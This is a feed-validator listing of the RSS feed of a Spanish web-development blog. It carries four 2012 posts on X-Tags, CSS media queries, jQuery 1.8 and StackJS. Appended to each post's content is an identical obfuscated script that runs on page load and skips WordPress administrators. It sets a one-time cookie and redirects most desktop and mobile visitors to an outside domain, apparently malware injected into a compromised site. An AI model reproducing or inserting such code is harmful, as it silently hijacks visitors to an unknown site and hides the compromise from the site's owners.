Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: https://www.anieto2k.com/feed/

  1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
  2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
  3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  4. xmlns:dc="http://purl.org/dc/elements/1.1/"
  5. xmlns:atom="http://www.w3.org/2005/Atom"
  6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  8. >
  9.  
  10. <channel>
  11. <title>aNieto2K</title>
  12. <atom:link href="https://www.anieto2k.com/feed/" rel="self" type="application/rss+xml" />
  13. <link>https://www.anieto2k.com</link>
  14. <description>Desarrollo web, Wordpress, y alguna cosilla más</description>
  15. <lastBuildDate>Sun, 10 Feb 2019 22:14:32 +0000</lastBuildDate>
  16. <language>es-ES</language>
  17. <sy:updatePeriod>hourly</sy:updatePeriod>
  18. <sy:updateFrequency>1</sy:updateFrequency>
  19. <generator>http://wordpress.org/?v=4.0.1</generator>
  20. <item>
  21. <title>X-Tags, crea tus propios elementos HTML con funcionalidad javascript</title>
  22. <link>https://www.anieto2k.com/2012/07/30/x-tags-crea-tus-propios-elementos-html-con-funcionalidad-javascript/</link>
  23. <comments>https://www.anieto2k.com/2012/07/30/x-tags-crea-tus-propios-elementos-html-con-funcionalidad-javascript/#comments</comments>
  24. <pubDate>Mon, 30 Jul 2012 10:40:21 +0000</pubDate>
  25. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  26. <category><![CDATA[javascript]]></category>
  27. <category><![CDATA[Programacion]]></category>
  28. <category><![CDATA[webdev]]></category>
  29.  
  30. <guid isPermaLink="false">https://www.anieto2k.com/?p=10536</guid>
  31. <description><![CDATA[&#60;x&#62; o X-Tags, es una librería javascript que nos permitirá definir elementos HTML propios cargados con la funcionalidad que deseemos de una forma fácil y rápida. La idea detrás de esta librería es que el diseño simplemente tenga que conocer el elemento HTML a crear y su estructura. Además, se basa en el estandar de [&#8230;]]]></description>
  32. <content:encoded><![CDATA[<a href="http://x-tags.org/">&lt;x&gt; o X-Tags</a>, es una librería javascript que nos permitirá definir elementos HTML propios cargados con la funcionalidad que deseemos de una forma fácil y rápida.
  33.  
  34. La idea detrás de esta librería es que <a href="https://www.anieto2k.com/2011/07/25/pom-programacion-orientada-a-maquetadores/">el diseño simplemente tenga que conocer el elemento HTML a crear y su estructura</a>. Además, se basa en el <a href="http://www.w3.org/TR/2012/WD-components-intro-20120522/#custom-element-section">estandar de Web Components y los Custom Elements</a>, que nos permite definir elementos propios contemplados en los estandares modernos. Hasta el momento, la mejor opción es usar algún elemento HTML disponible e intentar que tenga algún sentido semántico en nuestro código.
  35.  
  36. Por lo tanto, si nuestros maquetadores conocen el código HTML que hemos definido previamente, por ejemplo este acordeón:
  37.  
  38. <pre><code>
  39. <strong>// HTML</strong>
  40. &lt;x-accordion&gt;
  41.    &lt;x-toggler selected="true"&gt;Toggler 1&lt;/x-toggler&gt;
  42.    &lt;div&gt;Panel 1&lt;/div&gt;
  43.    
  44.    &lt;x-toggler&gt;Toggler 2&lt;/x-toggler&gt;
  45.    &lt;div&gt;Panel 2&lt;/div&gt;
  46.    
  47.    &lt;x-toggler&gt;Toggler 3&lt;/x-toggler&gt;
  48.    &lt;div&gt;Panel 3&lt;/div&gt;
  49. &lt;/x-accordion&gt;
  50. </code></pre>
  51.  
  52. Nosotros solo tendremos que registrar el elemento con las características que nosotros deseemos.
  53.  
  54. <pre><code>
  55. <strong>// Javascript</strong>
  56. xtag.register('accordion', {
  57.    onCreate: function(){
  58.        // Se ejecutará cuando un elemento es creado o parseado
  59.    },
  60.    onInsert: function(){
  61.        // Se ejecutará cuando un elemento es insertado en el DOM
  62.    },
  63.    events: {
  64.        'click:delegate(x-toggler)': function(){
  65.            // Se ejecuta cuando un toggler es ejecutado.
  66.        }
  67.    },
  68.    getters: {
  69.        'togglers': function(){
  70.            // Devuelve todos los elementos togglers.
  71.        }
  72.    },
  73.    setters: {
  74.        // Añade Objetos DOM
  75.    },
  76.    methods: {
  77.        nextToggler: function(){
  78.            // Activa nuevo toggle
  79.        },
  80.        previousToggler: function(){
  81.            // Activa el toggle previo
  82.        }
  83.    }
  84. });
  85. </code></pre>
  86.  
  87. Y todo ello, siendo disponible para la mayoría de navegadores de escritorio y todos los móviles. <a href="http://x-tags.org/demo.html">Ver más ejemplos</a>
  88.  
  89. <script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  90. <ul><li><a href="https://www.anieto2k.com/2008/04/08/increible-mario-en-un-javascript-de-tan-solo-14kb/" rel="bookmark" title="Permanent Link: Increible Mario en un javascript de tan solo 14kb">Increible Mario en un javascript de tan solo 14kb</a></li><li><a href="https://www.anieto2k.com/2009/11/19/gestion-de-eventos-vs-delegacion-de-eventos/" rel="bookmark" title="Permanent Link: Gestión de eventos vs Delegación de eventos">Gestión de eventos vs Delegación de eventos</a></li><li><a href="https://www.anieto2k.com/2006/10/05/cssquery-getelementsbytagname-pah/" rel="bookmark" title="Permanent Link: cssQuery, getElementsByTagName? Pah!">cssQuery, getElementsByTagName? Pah!</a></li><li><a href="https://www.anieto2k.com/2006/05/04/getelementby/" rel="bookmark" title="Permanent Link: getElementBy&#8230;">getElementBy&#8230;</a></li><li><a href="https://www.anieto2k.com/2010/10/22/foreach-asincrono-en-javascript/" rel="bookmark" title="Permanent Link: Foreach asíncrono en Javascript">Foreach asíncrono en Javascript</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  91. <wfw:commentRss>https://www.anieto2k.com/2012/07/30/x-tags-crea-tus-propios-elementos-html-con-funcionalidad-javascript/feed/</wfw:commentRss>
  92. <slash:comments>38</slash:comments>
  93. </item>
  94. <item>
  95. <title>Usa media queries para ocultar CSS3 a navegadores antiguos</title>
  96. <link>https://www.anieto2k.com/2012/06/27/usa-media-queries-para-ocultar-css3-a-navegadores-antiguos/</link>
  97. <comments>https://www.anieto2k.com/2012/06/27/usa-media-queries-para-ocultar-css3-a-navegadores-antiguos/#comments</comments>
  98. <pubDate>Wed, 27 Jun 2012 09:59:08 +0000</pubDate>
  99. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  100. <category><![CDATA[CSS]]></category>
  101. <category><![CDATA[Programacion]]></category>
  102. <category><![CDATA[webdev]]></category>
  103.  
  104. <guid isPermaLink="false">https://www.anieto2k.com/?p=10530</guid>
  105. <description><![CDATA[Siempre tendemos a condicionar nuestro CSS pensando en los navegadores antiguos, haciendo uso de los condicionales o hacks para complementar las excepciones que navegadores como IE6,7 requieren para funcionar "correctamente", pero ... ¿y si añadieramos como excepciones las funcionalidades más modernas? Desde 456 Berea St., recomienda usar las media queries de CSS3 para unir el [&#8230;]]]></description>
  106. <content:encoded><![CDATA[Siempre tendemos a condicionar nuestro CSS pensando en los navegadores antiguos, <a href="https://www.anieto2k.com/2006/12/26/css-entendiendo-y-aplicando-los-hacks/">haciendo uso de los condicionales o hacks para complementar las excepciones que navegadores</a> como IE6,7 requieren para funcionar "correctamente", pero ... ¿y si añadieramos como excepciones las funcionalidades más modernas?
  107.  
  108. Desde <a href="http://www.456bereastreet.com/archive/201206/using_media_queries_to_hide_css3_from_older_browsers/">456 Berea St., recomienda usar las media queries de CSS3 para unir el CSS más moderno y solo será visible para los navegadores que las soporten</a>, de esta forma estamos cambiando el chip y optimizar el uso de los CSS's en los navegadores de los usuarios.
  109.  
  110. <h3>Típico CSS</h3>
  111.  
  112. <pre><code>
  113. .block {
  114. width: 100%;
  115. position: fixed;
  116.       -moz-border-radius:1em; // IE no lo detecta
  117.       -webkit-border-radius:1em; // ...
  118.      // ...
  119. }
  120. </code></pre>
  121.  
  122. Imaginemos que entramos con IE y cargamos este CSS, si seguimos el proceso de ejecución CSS secuencial deberemos evaluar cada una de las líneas aunque no las tengamos soportadas. Esto, en grandes aplicaciones con miles de líneas de CSS en navegadores antiguos pueden provocar lentitud (doy fé de ello).
  123.  
  124. Para solventar el problema y unificar el código "moderno" deberíamos cambiar el chip y unificarlo de la siguiente forma.
  125.  
  126. <h3>Usando media queries</h3>
  127.  
  128. <pre><code>
  129. @media <strong>only</strong> screen {
  130. .block {
  131. -moz-border-radius:1em; // IE no lo detecta
  132. -webkit-border-radius:1em; // ...
  133. // ...
  134. }
  135. }
  136.  
  137. .block {
  138. width: 100%;
  139. position: fixed;
  140. }
  141. </code></pre>
  142.  
  143. De esta forma, <a href="http://www.w3.org/TR/css3-mediaqueries/">IE no reconoce la palabra "<code>only</code>" del <code>@media</code></a> y omite el resto del código incluido en su interior. De esta forma únicamente realizamos una sola comprobación que omitirá o no dependiendo de las capacidades del navegador.<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  144. <ul><li><a href="https://www.anieto2k.com/2012/05/29/onmediaquery-ejecuta-javascript-al-cambiar-las-media-query/" rel="bookmark" title="Permanent Link: onMediaQuery, ejecuta javascript al cambiar las media query">onMediaQuery, ejecuta javascript al cambiar las media query</a></li><li><a href="https://www.anieto2k.com/2012/01/05/syze-anade-media-queries-avanzadas-y-cross-browser-con-javascript/" rel="bookmark" title="Permanent Link: syze, añade @media queries avanzadas y cross browser con javascript">syze, añade @media queries avanzadas y cross browser con javascript</a></li><li><a href="https://www.anieto2k.com/2012/05/28/harvey-domina-las-css-media-queries-con-javascript/" rel="bookmark" title="Permanent Link: Harvey, domina las CSS media queries con javascript">Harvey, domina las CSS media queries con javascript</a></li><li><a href="https://www.anieto2k.com/2008/04/22/acid-test-para-dispositivos-moviles/" rel="bookmark" title="Permanent Link: Acid Test para dispositivos móviles">Acid Test para dispositivos móviles</a></li><li><a href="https://www.anieto2k.com/2008/03/15/el-estado-de-acid3-en-la-actualidad/" rel="bookmark" title="Permanent Link: El estado de Acid3 en la actualidad">El estado de Acid3 en la actualidad</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  145. <wfw:commentRss>https://www.anieto2k.com/2012/06/27/usa-media-queries-para-ocultar-css3-a-navegadores-antiguos/feed/</wfw:commentRss>
  146. <slash:comments>18</slash:comments>
  147. </item>
  148. <item>
  149. <title>jQuery se desmiembra para la versión 1.8</title>
  150. <link>https://www.anieto2k.com/2012/06/26/jquery-de-desmiembra-para-la-version-1-8/</link>
  151. <comments>https://www.anieto2k.com/2012/06/26/jquery-de-desmiembra-para-la-version-1-8/#comments</comments>
  152. <pubDate>Tue, 26 Jun 2012 14:08:08 +0000</pubDate>
  153. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  154. <category><![CDATA[javascript]]></category>
  155. <category><![CDATA[Programacion]]></category>
  156. <category><![CDATA[webdev]]></category>
  157.  
  158. <guid isPermaLink="false">https://www.anieto2k.com/?p=10525</guid>
  159. <description><![CDATA[jQuery da un paso en su personal evolución hacia la modularización de su código, y en esta nueva versión podremos generar versiones personalizadas de la librería excluyendo módulos que no necesitemos. Entre los módulos que podremos excluir para esta nueva versión tenemos (ajax, css, dimensions, effects y offset). Si no necesitas ninguno de estos módulos [&#8230;]]]></description>
  160. <content:encoded><![CDATA[<strong>jQuery </strong>da un paso en su personal evolución hacia la modularización de su código, y en esta nueva versión podremos generar versiones personalizadas de la librería excluyendo módulos que no necesitemos.<br />
  161. <br />
  162. Entre los módulos que podremos excluir para esta nueva versión tenemos (ajax, css, dimensions, effects y offset). Si no necesitas ninguno de estos módulos puedes tener <strong>una versión de jQuery de solo 21KB (gzip)</strong>. De esta forma podremos convertir un cañon en el arma que realmente necesitamos para atacar el problema. <br />
  163. <br />
  164. Otra mejora que nos encontraremos en esta nueva versión es la inclusión de prefijos CSS automáticamente para evitarnos tener que añadir más líneas de las necesarias, haciendo nuestro código más estandar y adaptado a las especificaciones del futuro. <br />
  165. <br />
  166. <a href="http://blog.jquery.com/2012/06/22/jquery-1-8-beta-1-see-whats-coming-and-going/">Y muchas cosas más...</a><br />
  167. <br />
  168. [<a href="http://code.jquery.com/jquery-1.8b1.js">Descargar</a>]<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  169. <ul><li><a href="https://www.anieto2k.com/2008/11/13/wtframework-un-bookmark-para-conocer-el-framework-de-una-web/" rel="bookmark" title="Permanent Link: WTFramework, un bookmark para conocer el framework de una web">WTFramework, un bookmark para conocer el framework de una web</a></li><li><a href="https://www.anieto2k.com/2006/10/28/nueva-version-jquery-103/" rel="bookmark" title="Permanent Link: Nueva version jQuery 1.0.3">Nueva version jQuery 1.0.3</a></li><li><a href="https://www.anieto2k.com/2007/01/15/jquery-11-nueva-version-y-nuevo-sitio-web/" rel="bookmark" title="Permanent Link: jQuery 1.1, nueva versión y nuevo sitio web">jQuery 1.1, nueva versión y nuevo sitio web</a></li><li><a href="https://www.anieto2k.com/2008/12/22/jquery-13b1-version-de-prueba/" rel="bookmark" title="Permanent Link: jQuery 1.3b1, versión de prueba">jQuery 1.3b1, versión de prueba</a></li><li><a href="https://www.anieto2k.com/2006/11/21/jquery-flash-plugin/" rel="bookmark" title="Permanent Link: jQuery Flash Plugin">jQuery Flash Plugin</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  170. <wfw:commentRss>https://www.anieto2k.com/2012/06/26/jquery-de-desmiembra-para-la-version-1-8/feed/</wfw:commentRss>
  171. <slash:comments>8</slash:comments>
  172. </item>
  173. <item>
  174. <title>StackJS, framework JS para que la orientación a objetos sea más fácil</title>
  175. <link>https://www.anieto2k.com/2012/06/26/stackjs-framework-js-para-que-la-orientacion-a-objetos-sea-mas-facil/</link>
  176. <comments>https://www.anieto2k.com/2012/06/26/stackjs-framework-js-para-que-la-orientacion-a-objetos-sea-mas-facil/#comments</comments>
  177. <pubDate>Tue, 26 Jun 2012 10:00:04 +0000</pubDate>
  178. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  179. <category><![CDATA[javascript]]></category>
  180. <category><![CDATA[Programacion]]></category>
  181. <category><![CDATA[webdev]]></category>
  182.  
  183. <guid isPermaLink="false">https://www.anieto2k.com/?p=10521</guid>
  184. <description><![CDATA[StackJS es un framework más que nos ofrece las herramientas necesarias para facilitarnos la tarea implementar mediante orientación a objetos en javascript. Además de una serie de funcionalidades que le aportan robustez a nuestras creaciones. setters y getters automáticos Automáticamente tendremos disponible métodos de insercción y consulta de todos los atributos de la clase, lo [&#8230;]]]></description>
  185. <content:encoded><![CDATA[<a href="http://stackjs.org/">StackJS</a> es un framework más que nos ofrece las herramientas necesarias para facilitarnos la tarea implementar mediante <a href="https://www.anieto2k.com/2009/02/14/programacion-orientada-a-objetos-en-javascript-2/">orientación a objetos en javascript</a>.
  186.  
  187. Además de una serie de funcionalidades que le aportan robustez a nuestras creaciones.
  188.  
  189. <h3>setters y getters automáticos</h3>
  190.  
  191. Automáticamente tendremos disponible métodos de insercción y consulta de todos los atributos de la clase, lo que nos facilitará la tarea de trabajar con ellas.
  192.  
  193. <pre><code>
  194. Class('Car', {
  195. engineSize: null,
  196. model: null,
  197. manufacturer: null,
  198. maxSpeed: null,
  199. Car: function(manufacturer) {
  200. this.manufacturer = manufacturer;
  201. }
  202. });
  203.  
  204. var car = new Car('Toyota');
  205. car.setModel(2007); // Setter Automático
  206. console.log(car.getManufacturer()); // Getter Automático
  207. </code></pre>
  208.  
  209. <h3>Gestión de errores</h3>
  210. La posibilidad de definir nuestras propias excepciones, condicionar funcionamientos y lanzarlas cuando detectemos un problema nos permite una mayor control de nuestro código.
  211.  
  212. <pre><code>
  213. Class('MyException::Exception',{
  214. test: null,
  215. MyException: function(test) {
  216. this.message = "Excepción lanzada";
  217. this.human = test;
  218. }
  219. });
  220.  
  221. Class('MiClass', {
  222. falla: function(){
  223. Throw(new MyException(this)); // Excepción
  224. }
  225. });
  226.  
  227.  
  228. var miKlass = new MiClass();
  229.  
  230. // Evento MyException
  231. Catch('MyException', function(ex){
  232. console.log("Se ha producido una excepción controlada");
  233. });
  234.  
  235. miKlass.falla();
  236. </code></pre>
  237.  
  238. <h3>Delegación de objetos</h3>
  239. Portado de ObjectiveC podemos vincular objetos delegando eventos entre ellos.
  240.  
  241. <pre><code>
  242. Class("Engine",{
  243. size: null,
  244. Engine: function(size) {
  245. this.size = size;
  246. },
  247. start: function() {
  248. this.callDelegate("didBrokenPart",[this]);
  249. }
  250. });
  251.  
  252. Class("Car",{
  253. engine: null,
  254. Car: function() {
  255. this.engine = new Engine(1600); // Creamos un nuevo Engine
  256. this.engine.setDelegate(this); // Delegamos el nuevo objeto creado
  257. },
  258. drive: function() {
  259. console.log("start drive");
  260. this.engine.start();
  261. },
  262. stop: function() {
  263. console.log("car is stopped");
  264. },
  265. didBrokenPart: function(object) {
  266. this.stop();
  267. }
  268. });
  269. </code></pre>
  270.  
  271. Y todo en solo 3kb comprimdido.
  272. [<a href="https://github.com/eladyarkoni/stackjs-website/blob/stackjs-framework-v0.0.1/lib/stackjs.min.js">Descargar</a>]<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
